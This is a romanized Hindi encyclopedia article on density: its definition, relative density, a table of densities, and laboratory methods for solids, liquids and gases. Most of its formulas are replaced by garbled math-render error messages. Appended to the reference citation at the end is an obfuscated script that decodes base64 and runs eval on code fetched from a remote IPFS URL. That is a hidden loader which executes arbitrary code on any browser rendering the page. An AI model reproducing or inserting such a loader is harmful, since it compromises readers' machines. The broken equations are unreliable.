घनत्त्व

ghanattv (aangrezi:Density) padarth ke ikaee ayatan mean nihit dravyaman ko kahate haian. yah samany anubhav hai ki barabar ayatan ke vibhinn padartho ka bhar bhinn-bhinn hota hai. yah bhinnata padarthoan ke anuoan ya paramanuoan ke bhar tatha padarthavishesh mean unaki sannikatata par nirbhar hoti hai, kyoanki kisi vishesh padarth ke anuoan tatha paramanuoan ka bhar aur us padarth mean unaka rachanakram lagabhag nishchit hota hai. at: padarthavishesh ke nishchit ayatan ka bhar bhi nishchit hi hota hai. ikaee ayatan ke padarth ki matra ko us padarth ka ghanatv kahate haian. yah padarth ki saghanata ka dyotak hai tatha padarth ka vishesh gun hota hai. uparyukt paribhasha ke anusar kisi vastu ka ghanatv nimnalikhit sootr dvara vyakt kiya jata hai:

ghanatv = matra / ayatan

at: seantimitar gram saikind paddhati mean ghanatv ki ikaee gram ghan seantimitar hai.

apekshik ghanatv

sadharanataya padartho ke apekshik ghanatv ka jnan adhik upayogi hota hai, yatha kisi padarth ke piand ka kisi drav mean doobana ya tairana, drav ki apeksha padarth ke ghanatv ki adhikata ya nyoonata par, nirbhar karata hai. jab ek padarth ke ghanatv ki doosare padarth ke ghanatv se tulana ki jati hai, tab usase jo aank prapt hota hai vah pahale padarth ka apekshik dhanatv kahalata hai. apekshik ghanatv vastut: pahale aur doosare padarthoan ke ghanatv ka anupat hota hai. padartho ka apekshik ghanatv kuchh nishchit manak padarthoan ke ghanatv ki tulana se vyakt kiya jata hai. yadi a ayatan ke ek padarth ki matra dravyaman₁ tatha usi ayatan ke manak padarth ki matra dravyaman₀ hai, to uparyukt paribhasha ke anusar padarth ka apekshik ghanatv nimnalikhit sootr dvara vyakt kiya jata hai :

apekshik ghanatv = dravyaman₁ / dravyaman₀

padarth ka ghanatv ya apekshik ghanatv, vyakt karate samay padarth ki bhautik avasthaoan (tap, dab, ityadi) ko bhi vyakt karana avashyak hota hai, kyoanki bhautik avastha ke parivartan se ghanatv mean kafi parivartan hota hai. ghanatv par tap tatha dab ka adhik prabhav p data hai. yah parivartan padarth ke ayatan parivartan ke karan hota hai.

thos tatha drav padartho ke ayatan, tadanuroop unake ghanatv, par samany dab parivartanoan ka prabhav itana sookshm hota hai ki samanyataya vah upekshaniy hota hai. doosari or samany tap parivartanoan ka prabhav upekshaniy nahian hota hai. at: thos tatha drav padarthoan ke ghanatv ke sath-sath unaka tap vyakt karana hi paryapt hota hai. dab ko vyakt nahian kiya jata. samanyat: thos tatha drav padarthoan ka apekshik ghanatv 4° seantigred par pani ke ghanatv ki tulana se vyakt kiya jata hai. yah avashyak nahian ki padarth tatha pani ka tap ek hi ho. apekshik ghanatv ko nimnaankit prakar se likhate haian:

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yahaan (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {t}} ₁°) padarth tatha (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {t}} ₀°) pani ka tap hai, tatha (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}} ) padarth k apekshik ghanatv hai. yah smaran rakhana chahie ki 4° seantigred par pani k ghanatv ek gram/prati ghan seantimitar hota hai. at: 4° seantigred par pani ke ghanatv ki tulana se kisi padarth ka apekshik ghanatv hi usaka ghanatv bhi hota hai. suvidhanusar pani ke sthan par any padarth bhi manak ke roop mean prayukt hote haian.

gaisiy padarthoan ke ayatan tatha tadanuroop unake ghanatv par samany tap tatha dab parivartanoan ka bahut prabhav p data hai. yadi dravyaman (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ) dravyaman ki kisi gais k paramatap (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ₀) par ayatan (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ₀) hai to usi matra ki gais ka kisi any paramatap (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {T}} ₁) tatha dab (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ₁) par ayatan (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ₁) ho jata hai. gaisiy niyamoan ki sahayata se (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ₁) tatha (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ₀) ka nimnaankit parasparik sanbandh vyakt kiya ja sakata hai :

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at: paribhasha ke anusar (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {T}} ₁) tap evan (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ₁) dab par gais ke ghanatv (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}} ₁) tatha (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {T}} ₀) tap evan (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ₀) dab par ghanatv (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}} ₀) mean nimnaankit sanbandh prapt kiya ja sakata hai:

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uparyukt samikaran ki sahayata se manak dab (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ₀) tatha tap (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {T}} ₀) par gais ka ghanatv jnat kar lene par kisi any tap tatha dab par bhi usaka ghanatv jnat kiya ja sakata hai. 0° seantigred tatha 760 milimitar pare ki dab ko kramash: manak tap tatha dab manate haian.

gaisoan ka apekshik ghanatv, usi tap tatha dab par, manak gais ke ghanatv ki tulana se vyakt karate haian. haidrojan ya vayu hi manak gaisoan ke roop mean prayukt hoti haian.

samanyat: sabhi padarthoan ka ghanatv tap badhane se ghatata tatha dab badhane se badhata hai. tap badhane ke sath pani ke ghanatv ka parivartan asadharan hota hai. 4° seantigred par pani ka ghanatv adhikatam hota hai. isase adhik tatha kam tap par pani ka ghanatv kam ho jata hai. pahale kaha ja chuka hai ki ghanatv padarthoan ka vishesh gun hota hai. at: padarth ki shuddhata ka anuman usaka ghanatv jnat karake bhi kiya jata hai. isi adhar par doodh adi drav padartho ki shuddhata ke parikshak yantr banae ge haian.

padarthoan ke ghanatv sanbandhi jnan ka upayog arkimidiz ke siddhaant ke anusar drav sthaitiki mean kiya jata hai. isake anusar yadi vastu ko pahale vayu tatha phir drav mean tola jay to donoan bharoan mean aantar vastu ke barabar ayatan ke drav ke barabar hota hai. is siddhaant ki sahayata se padartho ka apekshik ghanatv nikala jata hai.

tatvoan ke paramanu bhar tatha unake ghanatv ke anupat ko tatv ka paramanu ayatan kahate haian. is paramanu ayatan ke adhar par avart sarani mean tatvoan ke sthan ka nirdharan karane mean bahut sahayata mili hai.

ghanatv avastha par nirbhar

padarthoan ka ghanatv padarth avastha tap dab ghanatv (gram prati ghan seantimitar) jal (vashp) gais 100° seantigred 760 milimitar 5'81 x 10-4 vayu gais 37° seantigred 760 milimitar 1'93 x 10-3 jal (shuddh) drav 4° seantigred 760 milimitar 0.999 jal (samudri) drav 0° seantigred 760 milimitar 1.03 to 1.07 lak di (sookhi) thos 20° seantigred 760 milimitar 0.4-0.8 kagaz thos 20° seantigred 760 milimitar 0.7-1.15 barf thos 0° seantigred 760 milimitar 0.917 shisha (sadharan) thos 20° seantigred 760 milimitar 2.4-2.8 kark thos 20° seantigred 760 milimitar 0.22 to 0.26 stil thos 20° seantigred 760 milimitar 6.9-8.9 ailuminiyam thos 20° seantigred 760 milimitar 2.64-2.82 taanba thos 20° seantigred 760 milimitar 8.96 pital thos 20° seantigred 760 milimitar 8.67-8.80 chaandi thos 20° seantigred 760 milimitar 10.5 para thos 20° seantigred 760 milimitar 13.546 sona thos 20° seantigred 760 milimitar 19.3

any mahattvapoorn ghanatv nam ghanatv (gram prati ghan seantimitar) nabhik 2X1014 sabase adhik ghana tatv thos aausamiyam 22.8 prithvi (ausat) 5.517 chandrama (ausat) 3.341 soory (ausat) 1.41

kisi padarth ka ghanatv nikalane ki upayukt vidhi usaki thos, drav ya gais avastha par nirbhar karati hai. yahaan par in vidhiyoan ka sankshipt vivaran diya jayaga.

padarth ka ghanatv nikalane ke liye usaka bhar tatha ayatan jnat karana hota hai tatha apekshik ghanatv jnat karane ke liye usi ayatan ke manak drav ka bhi bhar jnat karana hota hai. padarth ka bhar to sugrahi tula dvara jnat kiya ja sakata hai. ayatan jnat karane ke liy ek chihnit jar mean aisa drav lete haian jisamean padarth ghulata nahian hai. padarthapiand ko drav mean poori tarah duba dene par, drav ke ayatan mean jitana parivartan ho vahi us padarthapiand ka bhi ayatan hota hai. ghanatv ka adhik yatharth man jnat karane ke liye ayatanamapan ki adhik sugrahi vidhiyoan ka upayog kiya jata hai, jaise ayatanamapi arthath‌ steriaaumitar ka upayog.

ek samany ayatanamapi mean, pare se bhari huee chau de muanh ki ek nali mean saman anuprasth kat ki shishe ki chihnit doosari nali hoti hai. doosari nali ki lanbaee pahali se chhoti hoti hai tatha usaka oopari sira ek pyale ke peande mean khulata hai. pyale ko dhakkan se band kar dene par vayu bhi pyale ke bhitar ya bahar nahian ja sakati. doosari nali par do chihn k evan kh, lo (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {L}} ₀) doori par bane haian. sarvapratham bairomitar se vayumandal ki dab (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {p}} ) napate haian. ab dhakkan ko hatakar doosari nali ko itani nichi karate haian ki usake aandar ka para k chihn tak a jay. tatpashchath‌ dhakkan band karake nali ko itana uthate hai ki doosari nali ke aandar para kh sthan par ho jay. is samay nali ke aandar pare ke tal ki, nali ke bahar pare ke tal se, ooanchaee (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {h}} ₀) jnat kar lete haian. isi vidhi ko pyale mean padarthapiand ko rakhakar doharate haian. yadi is samay doosari nali ke aandar tatha bahar pare ke taloan ka aantar (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {h}} ) ho, to nimnaankit sootr dvara padarthapiand ka ayatan jnat kar lete haian:

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yahaan (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ) padarthapiand ka ayatan hai tatha (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {A}} ) doosari nali ki anuprasth kat ka kshetraphal hai. is prakar kisi die hue padarth ka yatharth ayatan jnat kar lete haian.

drav padarthoan ka apekshik ghanatv

drav padarthoan ka apekshik ghanatv, ya ghanatv, apekshik-ghanatv-botal ki sahayata se nikala jata hai. ghanatv jnat karane ke liye pahale khali botal ki matra (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ₀) jnat karate haian, tatpashchath‌ use drav se bhar kar usaki matra (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ₁) jnat kar lete haian. drav bharakar dat lagane par kuchh drav keshikanali se bahar nikal jata hai, is prakar botal ka poora-poora ayatan drav se bhar jata hai. drav ka ghanatv (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}} ₀) nimnalikhit sootr dvara maloom ho jata hai:

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jabaki (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ₀) botal ka ayatan hai, jise jnat ka ghanatv ke drav ki sahayata se jnat kiya jata hai. yadi botal ko doosari bar manak drav se bharakar matra (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ₂) jnat kar lean, to apekshik ghanatv (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {R}} .Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}}. ) nimnalikhit prakar se jnat kar sakate haian:

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apekshik ghanatv botal ki sahayata se choore ya chhote-chhote tuk doan ke roop mean prapt, thos padartho ka ghanatv bhi nikala ja sakata hai. arkimidiz ke siddhaant ki sahayata se bhi thos padartho ka apekshik ghanatv nikala ja sakata hai. yadi thos padarthapiand manak drav mean aviley tatha adhik ghanatvavala ho aur thos ki vay mean matra (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ₁) tatha phir manak drav mean poora-poora dubakar usaki matra (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ₂) ho, to padarth ka apekshik ghanatv:

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drav se kam ghanartav ke padarthoan ka apekshik ghanatv uparyukt vidhi ka parivartan karake jnat kar sakate haian.

gaisiy padarthoan ka apekshik ghanatv

thumb|250px|viktar mayar ka upakaran gaisiy padarthoan ka ghanatv jnat karate samay unake tap tatha dab ka bhi nirikshan kiya jata hai. poorvokt sootr ki sahayata se kisi bhi tap tatha dab par jnat ghanatv se manak dab tatha tap par ghanatv jnat kiya ja sakata hai. gaisiy padarthoan ka ghanatv jnat karane ki do mukhy vidhiyaan haian:

• reno ki vidhi:- is vidhi dvara un padarthoan ka ghanatv jnat kiya ja sakata hai jo samany dab tatha tap par gaisiy avastha mean rahate haian.

barabar ayatan tatha bhar ke do phlaskoan ko atinirvat pamp ki sahayata se vayushoony kar ek sugrahi tula ke pal doan ke niche lataka dete haian. ye phlask ek baks mean rahate haian, jisaka tap sthir rakha jata hai. ab pal doan par upayukt bhar rakhakar tula ko santulit kar dete haian. tatpashchath‌ ek phlask ko jnat dabav d par gais se bhar dete haian. phlaskoan ko yathasthan latakane par yadi ab tula ko (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ) gram matra dvara santulit karean to (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {T}} ) tap tatha (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ) dab par gais ka ghanatv = [Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}} =Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} /Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ] hoga. yahaan (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ) phlask ka ayatan hai. ise phlask ko jnat ghanatv ke drav se poora-poora bharakar tatha drav ka bhar jnat kar maloom kar sakate haian. gaisiy padartho ka apekshik ghanatv haidrojan ko manak manakar jnat kiya jata haian. uparyukt prayog ko yadi haidrojan ke sath doharane par usaki matra (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ₀) jnat ho to uparyukt gais ka apekshik ghanatv = Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} /Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ₀

• viktar mayar ki vidhi:- is vidhi ka upayog adhik tap par gais banane vale padarthoan ke vashp ka ghanatv jnat karane mean kiya jata hai. niche upakaran chitrit hai. phlask ph mean aisa padarth d₂ liya jata hai jisaka kvathanaank padarth d ke (jisake vashp ka ghanatv jnat karana hai) kvathanaank se adhik ho. phlask ph ko garam karate haian. nali n mean padarth d ki jnat matra m (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ) rakh dete haian. nali n se ek patali nali ek chihnit nali ch mean khulati hai, jo drav d₁ se bhari hoti hai. d₁ aisa drav hota hai jisake sath padarth d ka vashp koee prakriya nahian karata. garam hone par padarth d vashp roop ho jata hai. isaka vashp nali n mean bhar jata hai. yah vashp apane ayatan ke anusar vayu ke nali n se ch mean nikal deta hai. isi ayatan a (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {V}} ) ka dr ch ke bahar a jata hai, jo chihnit nali mean drav d₁ ki satah ke parivartan se jnat hota hai. yadi drav d₁ ka ka tap ta₁ (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {T}} ₁) tatha yadi samany tap par d₁ ki vashpadab va₁ (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ₁) hai, to (va-va₁) [Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} -Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ₁]

dabav par tatha ta₁ (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {T}} ₁) tap par uparyukt padarth ke vashp ka bhar m₁ (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {m}} ) hoga, jab va₁ (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {P}} ) vayumandal ki dab hai. at: manak dab tatha tap par vashp ka ghanatv gh (Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}} ) nimnaankit hota hai :

Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\mathrm {D}} = Failed to parse (MathML with SVG or PNG fallback (recommended for modern browsers and accessibility tools): Invalid response ("Math extension cannot connect to Restbase.") from server "https://api.formulasearchengine.com/v1/":): {\frac {m.760(273+T_{1})}{(P-P_{1})V.760}}

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

“khand 4”, hindi vishvakosh, 1964 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 107-110.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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